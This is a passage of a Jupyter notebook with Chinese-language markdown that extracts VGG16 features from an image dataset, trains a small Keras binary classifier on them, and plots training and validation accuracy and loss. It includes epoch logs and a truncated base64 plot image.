395 | "def extract_features(directory, sample_count):\n",
396 | " features = np.zeros(shape=(sample_count, 4, 4, 512))\n",
397 | " labels = np.zeros(shape=(sample_count))\n",
398 | " generator = datagen.flow_from_directory(\n",
399 | " directory,\n",
400 | " target_size=(150, 150),\n",
401 | " batch_size=batch_size,\n",
402 | " class_mode='binary')\n",
403 | " i = 0\n",
404 | " for inputs_batch, labels_batch in generator:\n",
405 | " features_batch = conv_base.predict(inputs_batch)\n",
406 | " features[i * batch_size : (i + 1) * batch_size] = features_batch\n",
407 | " labels[i * batch_size : (i + 1) * batch_size] = labels_batch\n",
408 | " i += 1\n",
409 | " if i * batch_size >= sample_count:\n",
410 | " # Note that since generators yield data indefinitely in a loop,\n",
411 | " # we must `break` after every image has been seen once.\n",
412 | " break\n",
413 | " return features, labels\n",
414 | "\n",
415 | "train_features, train_labels = extract_features(train_dir, 2000)\n",
416 | "validation_features, validation_labels = extract_features(validation_dir, 1000)\n",
417 | "test_features, test_labels = extract_features(test_dir, 1000)\n",
418 | "\n",
419 | "train_features = np.reshape(train_features, (2000, 4 * 4 * 512))\n",
420 | "validation_features = np.reshape(validation_features, (1000, 4 * 4 * 512))\n",
421 | "test_features = np.reshape(test_features, (1000, 4 * 4 * 512))"
422 | ],
423 | "execution_count": null,
424 | "outputs": [
425 | {
426 | "output_type": "stream",
427 | "text": [
428 | "Found 2000 images belonging to 2 classes.\n",
429 | "Found 1000 images belonging to 2 classes.\n",
430 | "Found 1000 images belonging to 2 classes.\n"
431 | ],
432 | "name": "stdout"
433 | }
434 | ]
435 | },
436 | {
437 | "cell_type": "markdown",
438 | "metadata": {
439 | "id": "l-odMgOIdc6v"
440 | },
441 | "source": [
442 | "# 使用特徵訓練網路\n",
443 | "\n",
444 | "由於我們剛剛已經用 VGG16 CNN 抽取特徵,因此真正訓練分類網路的時候就不是輸入圖片,而是輸入這些計算好的特徵。"
445 | ]
446 | },
447 | {
448 | "cell_type": "code",
449 | "metadata": {
450 | "id": "Dnm5AHSW0dyS",
451 | "colab": {
452 | "base_uri": "https://localhost:8080/",
453 | "height": 1000
454 | },
455 | "outputId": "762a28cb-3913-49ea-cd90-02d1dbdda155"
456 | },
457 | "source": [
458 | "from keras import models\n",
459 | "from keras import layers\n",
460 | "from keras import optimizers\n",
461 | "\n",
462 | "model = models.Sequential()\n",
463 | "model.add(layers.Dense(256, activation='relu', input_dim=4 * 4 * 512))\n",
464 | "model.add(layers.Dropout(0.5))\n",
465 | "model.add(layers.Dense(1, activation='sigmoid'))\n",
466 | "\n",
467 | "model.compile(optimizer=optimizers.RMSprop(lr=2e-5),\n",
468 | " loss='binary_crossentropy',\n",
469 | " metrics=['acc'])\n",
470 | "\n",
471 | "history = model.fit(train_features, train_labels,\n",
472 | " epochs=30,\n",
473 | " batch_size=20,\n",
474 | " validation_data=(validation_features, validation_labels))"
475 | ],
476 | "execution_count": null,
477 | "outputs": [
478 | {
479 | "output_type": "stream",
480 | "text": [
481 | "Train on 2000 samples, validate on 1000 samples\n",
482 | "Epoch 1/30\n",
483 | "2000/2000 [==============================] - 1s 355us/step - loss: 0.6112 - acc: 0.6650 - val_loss: 0.4516 - val_acc: 0.8320\n",
484 | "Epoch 2/30\n",
485 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.4257 - acc: 0.8100 - val_loss: 0.3708 - val_acc: 0.8620\n",
486 | "Epoch 3/30\n",
487 | "2000/2000 [==============================] - 1s 284us/step - loss: 0.3578 - acc: 0.8570 - val_loss: 0.3348 - val_acc: 0.8700\n",
488 | "Epoch 4/30\n",
489 | "2000/2000 [==============================] - 1s 293us/step - loss: 0.3160 - acc: 0.8685 - val_loss: 0.3121 - val_acc: 0.8740\n",
490 | "Epoch 5/30\n",
491 | "2000/2000 [==============================] - 1s 290us/step - loss: 0.2878 - acc: 0.8860 - val_loss: 0.2965 - val_acc: 0.8780\n",
492 | "Epoch 6/30\n",
493 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.2679 - acc: 0.8965 - val_loss: 0.2869 - val_acc: 0.8800\n",
494 | "Epoch 7/30\n",
495 | "2000/2000 [==============================] - 1s 281us/step - loss: 0.2547 - acc: 0.8985 - val_loss: 0.2781 - val_acc: 0.8850\n",
496 | "Epoch 8/30\n",
497 | "2000/2000 [==============================] - 1s 282us/step - loss: 0.2393 - acc: 0.9085 - val_loss: 0.2764 - val_acc: 0.8830\n",
498 | "Epoch 9/30\n",
499 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.2178 - acc: 0.9165 - val_loss: 0.2677 - val_acc: 0.8890\n",
500 | "Epoch 10/30\n",
501 | "2000/2000 [==============================] - 1s 285us/step - loss: 0.2158 - acc: 0.9190 - val_loss: 0.2631 - val_acc: 0.8910\n",
502 | "Epoch 11/30\n",
503 | "2000/2000 [==============================] - 1s 285us/step - loss: 0.2048 - acc: 0.9245 - val_loss: 0.2665 - val_acc: 0.8910\n",
504 | "Epoch 12/30\n",
505 | "2000/2000 [==============================] - 1s 289us/step - loss: 0.1918 - acc: 0.9290 - val_loss: 0.2607 - val_acc: 0.8950\n",
506 | "Epoch 13/30\n",
507 | "2000/2000 [==============================] - 1s 279us/step - loss: 0.1785 - acc: 0.9365 - val_loss: 0.2564 - val_acc: 0.8980\n",
508 | "Epoch 14/30\n",
509 | "2000/2000 [==============================] - 1s 297us/step - loss: 0.1766 - acc: 0.9370 - val_loss: 0.2602 - val_acc: 0.9000\n",
510 | "Epoch 15/30\n",
511 | "2000/2000 [==============================] - 1s 283us/step - loss: 0.1706 - acc: 0.9435 - val_loss: 0.2734 - val_acc: 0.8840\n",
512 | "Epoch 16/30\n",
513 | "2000/2000 [==============================] - 1s 271us/step - loss: 0.1650 - acc: 0.9435 - val_loss: 0.2491 - val_acc: 0.8970\n",
514 | "Epoch 17/30\n",
515 | "2000/2000 [==============================] - 1s 283us/step - loss: 0.1549 - acc: 0.9440 - val_loss: 0.2478 - val_acc: 0.8980\n",
516 | "Epoch 18/30\n",
517 | "2000/2000 [==============================] - 1s 275us/step - loss: 0.1503 - acc: 0.9440 - val_loss: 0.2480 - val_acc: 0.8990\n",
518 | "Epoch 19/30\n",
519 | "2000/2000 [==============================] - 1s 281us/step - loss: 0.1402 - acc: 0.9520 - val_loss: 0.2542 - val_acc: 0.8970\n",
520 | "Epoch 20/30\n",
521 | "2000/2000 [==============================] - 1s 287us/step - loss: 0.1350 - acc: 0.9505 - val_loss: 0.2474 - val_acc: 0.9010\n",
522 | "Epoch 21/30\n",
523 | "2000/2000 [==============================] - 1s 282us/step - loss: 0.1336 - acc: 0.9580 - val_loss: 0.2452 - val_acc: 0.9010\n",
524 | "Epoch 22/30\n",
525 | "2000/2000 [==============================] - 1s 278us/step - loss: 0.1261 - acc: 0.9545 - val_loss: 0.2462 - val_acc: 0.9050\n",
526 | "Epoch 23/30\n",
527 | "2000/2000 [==============================] - 1s 287us/step - loss: 0.1207 - acc: 0.9605 - val_loss: 0.2448 - val_acc: 0.9010\n",
528 | "Epoch 24/30\n",
529 | "2000/2000 [==============================] - 1s 295us/step - loss: 0.1160 - acc: 0.9635 - val_loss: 0.2437 - val_acc: 0.9020\n",
530 | "Epoch 25/30\n",
531 | "2000/2000 [==============================] - 1s 284us/step - loss: 0.1140 - acc: 0.9630 - val_loss: 0.2447 - val_acc: 0.9040\n",
532 | "Epoch 26/30\n",
533 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.1025 - acc: 0.9660 - val_loss: 0.2453 - val_acc: 0.9010\n",
534 | "Epoch 27/30\n",
535 | "2000/2000 [==============================] - 1s 293us/step - loss: 0.1000 - acc: 0.9655 - val_loss: 0.2433 - val_acc: 0.9030\n",
536 | "Epoch 28/30\n",
537 | "2000/2000 [==============================] - 1s 286us/step - loss: 0.0994 - acc: 0.9705 - val_loss: 0.2463 - val_acc: 0.9060\n",
538 | "Epoch 29/30\n",
539 | "2000/2000 [==============================] - 1s 280us/step - loss: 0.0923 - acc: 0.9705 - val_loss: 0.2440 - val_acc: 0.9080\n",
540 | "Epoch 30/30\n",
541 | "2000/2000 [==============================] - 1s 287us/step - loss: 0.0903 - acc: 0.9735 - val_loss: 0.2502 - val_acc: 0.9050\n"
542 | ],
543 | "name": "stdout"
544 | }
545 | ]
546 | },
547 | {
548 | "cell_type": "markdown",
549 | "metadata": {
550 | "id": "dcQ7wwSYd7Rg"
551 | },
552 | "source": [
553 | "# 透過圖表分析訓練過程"
554 | ]
555 | },
556 | {
557 | "cell_type": "code",
558 | "metadata": {
559 | "id": "DUvlCl6nAWw_",
560 | "colab": {
561 | "base_uri": "https://localhost:8080/",
562 | "height": 545
563 | },
564 | "outputId": "a4ebe0c0-11a7-40ab-fdf2-85d0cb85ce8b"
565 | },
566 | "source": [
567 | "import matplotlib.pyplot as plt\n",
568 | "\n",
569 | "acc = history.history['acc']\n",
570 | "val_acc = history.history['val_acc']\n",
571 | "loss = history.history['loss']\n",
572 | "val_loss = history.history['val_loss']\n",
573 | "\n",
574 | "epochs = range(len(acc))\n",
575 | "\n",
576 | "plt.plot(epochs, acc, 'bo', label='Training acc')\n",
577 | "plt.plot(epochs, val_acc, 'b', label='Validation acc')\n",
578 | "plt.title('Training and validation accuracy')\n",
579 | "plt.legend()\n",
580 | "\n",
581 | "plt.figure()\n",
582 | "\n",
583 | "plt.plot(epochs, loss, 'bo', label='Training loss')\n",
584 | "plt.plot(epochs, val_loss, 'b', label='Validation loss')\n",
585 | "plt.title('Training and validation loss')\n",
586 | "plt.legend()\n",
587 | "\n",
588 | "plt.show()"
589 | ],
590 | "execution_count": null,
591 | "outputs": [
592 | {
593 | "output_type": "display_data",
594 | "data": {
595 | "image/png": "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